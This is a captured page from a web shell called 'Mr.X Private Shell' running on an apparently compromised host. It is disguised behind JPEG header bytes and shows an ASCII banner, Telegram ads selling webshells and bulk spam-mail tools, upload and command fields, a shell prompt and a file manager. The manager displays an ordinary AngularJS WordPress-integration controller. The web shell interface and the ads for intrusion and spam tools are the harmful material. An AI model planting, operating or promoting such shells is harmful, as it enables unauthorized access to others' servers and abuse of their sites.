����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
'use strict';

define(['app'], function(app) {
	app.controller("wordpressIntegration115",
		["$rootScope", "$scope", "api", "consts",
			function ($rootScope, $scope, api, consts) {

				var name = 'wordpressIntegration';
				var order = 115;

				var feature = {
					_id: order + "_" + name,
					feature: name,
					order: order,
				};

				$scope.vendors = angular.copy(window.PAGE.wp_integrations);
				$scope.permission = 1;
				$scope.mass = 0;
				
				$scope.integrations = window.PAGE.wp_integrations;

				$scope.toggleVendor = function(vendor) {
					var index = $scope.vendors.indexOf(vendor);
					if (index > -1) $scope.vendors.splice(index, 1);
					else $scope.vendors.push(vendor);
				};

				$scope.isVendorEnabled = function (vendor) {
					return $scope.vendors.indexOf(vendor) >= 0;
				};

				$scope.togglePermissions = function(callback) {
					if(callback === undefined || typeof callback !== 'function') callback = function(){};
					api.managePermissions({
						data: {
							permissions: {
								[consts.PERMISSIONS_CAN_ACCESS_SOCKET_API]: $scope.permission
							}
						},
						success: callback,
						failed: function (message) {
							alert.error(message);
						}
					});
				};
				
				$scope.massDeploy = function(callback) {
					if(callback === undefined || typeof callback !== 'function') callback = function(){};
					api.runExtensionDeployment({
						success: callback,
						failed: function (message) {
							alert.error(message);
						}
					});
				};
				
				$scope.$on('save', function () {
					
					api.manageSettings({
						data: {
							section: 'extension',
							vendors: $scope.vendors
						},
						success: function () {
							$scope.togglePermissions(function () {
								if($scope.mass == 1) {
									$scope.massDeploy(function () {
										$rootScope.$emit("approve", feature);
									});
								} else {
									$rootScope.$emit("approve", feature);
								}
							});
						},
						failed: function (message) {
							alert.error(message);
						}
					});
				});
			}
		]
	);
});

Filemanager

Name Type Size Permission Actions
controller.js File 2.03 KB 0644
view.htm File 5.35 KB 0644